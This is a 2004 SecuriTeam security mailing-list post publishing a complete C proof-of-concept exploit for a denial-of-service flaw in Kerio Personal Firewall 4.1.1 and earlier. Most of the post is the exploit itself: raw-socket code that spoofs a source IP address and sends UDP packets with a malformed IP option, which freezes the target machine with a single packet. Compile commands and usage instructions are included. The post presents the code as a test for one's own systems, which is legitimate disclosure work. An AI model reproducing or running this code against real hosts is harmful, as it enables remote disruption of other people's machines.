

[EXPL] Kerio Personal Firewall Multiple IP Options DoS PoC

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0054.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/17/04

To: list@securiteam.com

Date: 17 Nov 2004 14:06:00 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Kerio Personal Firewall Multiple IP Options DoS PoC

SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/windowsntfocus/6J00D0ABPS.html>> Kerio Personal Firewall Multiple IP Options DoS, a vulnerability in Kerio's Firewall allows a remote attacker to cause a denial of service in the product by sending multiple IP options. The attached exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:

- * Kerio Personal Firewall version 4.1.1 and prior

Immune Systems:

- * Kerio Personal Firewall version 4.1.2

Exploit:

/* HOD-kerio-firewall-DoS-expl.c: 2004-11-10 – SECU

*

- * Copyright (c) 2004 houseofdabus

Securiteam: [EXPL] Kerio Personal Firewall Multiple IP Options DoS PoC

```
*
* Kerio Personal Firewall Multiple IP Options Denial of Service PoC
*
* Coded by
*
* .::[ houseofdabus ]::
*
*
* Bug discovered by eEye:
* http://www.eeye.com/html/research/advisories/AD20041109.html
*
* -----
* Tested on:
* - Kerio Personal Firewall 4.1.1
*
* Systems Affected:
* - Kerio Personal Firewall 4.1.1 and prior
*
* -----
* Description:
* The vulnerability allows a remote attacker to reliably render
* a system inoperative with one single packet. Physical access is
* required in order to bring an affected system out of this
* "frozen" state. This specific flaw exists within the component
* that performs low level processing of TCP, UDP, and ICMP packets.
*
* -----
* Compile:
* Win32/VC++ : cl -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c
* Win32/cygwin: gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -lws2_32.lib
* Linux : gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -Wall
*
* -----
* Command Line Parameters/Arguments:
*
* HOD-kerio-firewall-DoS-expl <-fi:str> <-ti:str> [-n:int]
*
* -fi:IP From (sender) IP address
* -ti:IP To (target) IP address
* -n:int Number of packets
*
* -----
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission to
* do so.
*
*/
```

Securiteam: [EXPL] Kerio Personal Firewall Multiple IP Options DoS PoC

```
/* #define _WIN32 */

#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <ws2tcpip.h> /* IP_HDRINCL */

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#endif

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define MAX_MESSAGE 4068
#define MAX_PACKET 4096

#define DEFAULT_PORT 53
#define DEFAULT_IP "192.168.0.1"
#define DEFAULT_COUNT 1

#ifdef _WIN32
# define FAR
#endif

/* Define the IP header */
typedef struct ip_hdr {
    unsigned char ip_verlen; /* IP version & length */
    unsigned char ip_tos; /* IP type of service */
    unsigned short ip_totallength; /* Total length */
    unsigned short ip_id; /* Unique identifier */
    unsigned short ip_offset; /* Fragment offset field */
    unsigned char ip_ttl; /* Time to live */
    unsigned char ip_protocol; /* Protocol */
    unsigned short ip_checksum; /* IP checksum */
    unsigned int ip_srcaddr; /* Source address */
    unsigned int ip_destaddr; /* Destination address */
} IP_HDR, *PIP_HDR, FAR* LPIP_HDR;

/* Define the UDP header */
typedef struct udp_hdr {
```

Securiteam: [EXPL] Kerio Personal Firewall Multiple IP Options DoS PoC

```
unsigned short src_portno; /* Source port number */
unsigned short dst_portno; /* Destination port number */
unsigned short udp_length; /* UDP packet length */
unsigned short udp_checksum; /* UDP checksum (optional) */
} UDP_HDR, *PUDP_HDR;

char udpmsg[] =
"\x4b\x65\x72\x69\x6f\x20\x50\x65\x72\x73\x6f\x6e\x61\x6c\x20\x46"
"\x69\x72\x65\x77\x61\x6c\x6c\x20\x44\x6f\x53\x20\x50\x6f\x43\x20"
"\x28\x34\x2e\x31\x2e\x31\x20\x61\x6e\x64\x20\x70\x72\x69\x6f\x72"
"\x29\x2e\x20\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29"
"\x20\x32\x30\x30\x34\x20\x68\x6f\x75\x73\x65\x6f\x66\x64\x61\x62"
"\x75\x73\x2e";

/* globals */
unsigned long dwToIP, /* IP to send to */
             dwFromIP; /* IP to send from (spoof) */
unsigned short iToPort, /* Port to send to */
              iFromPort; /* Port to send from (spoof) */
unsigned long dwCount; /* Number of times to send */
char strMessage[MAX_MESSAGE]; /* Message to send */

void
usage(char *progname) {
    printf("Usage:\n\n");
    printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-n:int]\n\n", progname);
    printf(" -fi:IP From (sender) IP address\n");
    printf(" -ti:IP To (target) IP address\n");
    printf(" -n:int Number of packets\n");
    exit(1);
}

void
ValidateArgs(int argc, char **argv)
{
    int i;

    iToPort = 53;
    iFromPort = DEFAULT_PORT;
    dwToIP = inet_addr(DEFAULT_IP);
    dwFromIP = inet_addr(DEFAULT_IP);
    dwCount = DEFAULT_COUNT;
    memcpy(strMessage, udpmsg, sizeof(udpmsg)-1);

    for(i = 1; i < argc; i++) {
        if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
            switch (tolower(argv[i][1])) {
                case 'f':
                    switch (tolower(argv[i][2])) {
                        case 'i':
                            if (strlen(argv[i]) > 4)
```

Securiteam: [EXPL] Kerio Personal Firewall Multiple IP Options DoS PoC

```
        dwFromIP = inet_addr(&argv[i][4]);
        break;
    default:
        usage(argv[0]);
        break;
    }
    break;
case 't':
    switch (tolower(argv[i][2])) {
        case 'i':
            if (strlen(argv[i]) > 4)
                dwToIP = inet_addr(&argv[i][4]);
            break;
        default:
            usage(argv[0]);
            break;
    }
    break;
case 'n':
    if (strlen(argv[i]) > 3)
        dwCount = atol(&argv[i][3]);
    break;
default:
    usage(argv[0]);
    break;
    }
}
}
return;
}

/* This function calculates the 16-bit one's complement sum */
/* for the supplied buffer */
unsigned short
checksum(unsigned short *buffer, int size)
{
    unsigned long cksum=0;

    while (size > 1) {
        cksum += *buffer++;
        size -= sizeof(unsigned short);
    }
    if (size) {
        cksum += *(unsigned char *)buffer;
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);

    return (unsigned short)(~cksum);
}
```

```

int
main(int argc, char **argv)
{
#ifdef _WIN32
    WSADATA wsd;
#endif
    int s;
#ifdef _WIN32
    BOOL bOpt;
#else
    int bOpt;
#endif
    struct sockaddr_in remote;
    IP_HDR ipHdr;
    UDP_HDR udpHdr;
    int ret;
    unsigned long i;
    unsigned short iTotalSize,
        iUdpSize,
        iUdpChecksumSize,
        iIPVersion,
        iIPSize,
        cksum = 0;
    char buf[MAX_PACKET],
        *ptr = NULL;
#ifdef _WIN32
    IN_ADDR addr;
#else
    struct sockaddr_in addr;
#endif

    printf("\nKerio Personal Firewall Multiple IP Options Denial of Service
PoC\n\n");
    printf("\tCopyright (c) 2004 ::[ houseofdabus ]::\n\n");

    if (argc < 3) usage(argv[0]);

    /* Parse command line arguments and print them out */
    ValidateArgs(argc, argv);
#ifdef _WIN32
    addr.S_un.S_addr = dwFromIP;
    printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);
    addr.S_un.S_addr = dwToIP;
    printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
    printf("[*] Count: %d\n", dwCount);
#else
    addr.sin_addr.s_addr = dwFromIP;
    printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr),
iFromPort);
    addr.sin_addr.s_addr = dwToIP;
    printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr),

```

```

iToPort);
    printf("[*] Count: %d\n", dwCount);
#endif

#ifdef _WIN32
    if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
        printf("[–] WSAStartup() failed: %d\n", GetLastError());
        return –1;
    }
#endif
    /* Creating a raw socket */
    s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
#ifdef _WIN32
    if (s == INVALID_SOCKET) {
        printf("[–] WSASocket() failed: %d\n", WSAGetLastError());
        return –1;
    }
#endif

    /* Enable the IP header include option */
#ifdef _WIN32
    bOpt = TRUE;
#else
    bOpt = 1;
#endif
    ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt,
sizeof(bOpt));
#ifdef _WIN32
    if (ret == SOCKET_ERROR) {
        printf("[–] setsockopt(IP_HDRINCL) failed: %d\n",
WSAGetLastError());
        return –1;
    }
#endif
    /* Initalize the IP header */
    iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + sizeof(udpmsg)–1 + 4;

    iIPVersion = 4;
    iIPSize = sizeof(ipHdr) / sizeof(unsigned long);

    iIPSize += 1; /* IP options */

    ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
    ipHdr.ip_tos = 0; /* IP type of service */
    ipHdr.ip_totallength = htons(iTotalSize); /* Total packet len */
    ipHdr.ip_id = 0; /* Unique identifier: set to 0 */
    ipHdr.ip_offset = 0; /* Fragment offset field */
    ipHdr.ip_ttl = 128; /* Time to live */
    ipHdr.ip_protocol = 0x11; /* Protocol(UDP) */
    ipHdr.ip_checksum = 0 ; /* IP checksum */
    ipHdr.ip_srcaddr = dwFromIP; /* Source address */

```

Securiteam: [EXPL] Kerio Personal Firewall Multiple IP Options DoS PoC

```
ipHdr.ip_destaddr = dwToIP; /* Destination address */

/* Initialize the UDP header */
iUdpSize = sizeof(udpHdr) + sizeof(udpmsg)-1;

udpHdr.src_portno = htons(iFromPort);
udpHdr.dst_portno = htons(iToPort);
udpHdr.udp_length = htons(iUdpSize);
udpHdr.udp_checksum = 0 ;

iUdpChecksumSize = 0;
ptr = buf;
memset(buf, 0, MAX_PACKET);

memcpy(ptr, &ipHdr.ip_srcaddr, sizeof(ipHdr.ip_srcaddr));
ptr += sizeof(ipHdr.ip_srcaddr);
iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr);

memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr));
ptr += sizeof(ipHdr.ip_destaddr);
iUdpChecksumSize += sizeof(ipHdr.ip_destaddr);

ptr++;
iUdpChecksumSize += 1;

memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol));
ptr += sizeof(ipHdr.ip_protocol);
iUdpChecksumSize += sizeof(ipHdr.ip_protocol);

memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length));
ptr += sizeof(udpHdr.udp_length);
iUdpChecksumSize += sizeof(udpHdr.udp_length);

memcpy(ptr, &udpHdr, sizeof(udpHdr));
ptr += sizeof(udpHdr);
iUdpChecksumSize += sizeof(udpHdr);

for(i = 0; i < sizeof(udpmsg)-1; i++, ptr++)
    *ptr = strMessage[i];
iUdpChecksumSize += sizeof(udpmsg)-1;

cksum = checksum((unsigned short *)buf, iUdpChecksumSize);
udpHdr.udp_checksum = cksum;

memset(buf, 0, MAX_PACKET);
ptr = buf;

memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr);

/* IP option (length = 0x00) */
memcpy(ptr, "\x88\x00\x12\x34", 4); ptr += 4;
```

Securiteam: [EXPL] Kerio Personal Firewall Multiple IP Options DoS PoC

```
memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr);
memcpy(ptr, strMessage, sizeof(udpmsg)-1);

remote.sin_family = AF_INET;
remote.sin_port = htons(iToPort);
remote.sin_addr.s_addr = dwToIP;

for(i = 0; i < dwCount; i++) {
#ifdef _WIN32
    ret = sendto(s, buf, iTotSize, 0, (SOCKADDR *)&remote,
                sizeof(remote));

    if (ret == SOCKET_ERROR) {
        printf("[-] sendto() failed: %d\n", WSAGetLastError());
        break;
    } else
#else
    ret = sendto(s, buf, iTotSize, 0, (struct sockaddr *)&remote,
                sizeof(remote));
#endif
    printf("[+] sent %d bytes\n", ret);
}

#ifdef _WIN32
    closesocket(s);
    WSACleanup();
#endif

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by houseofdabus.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.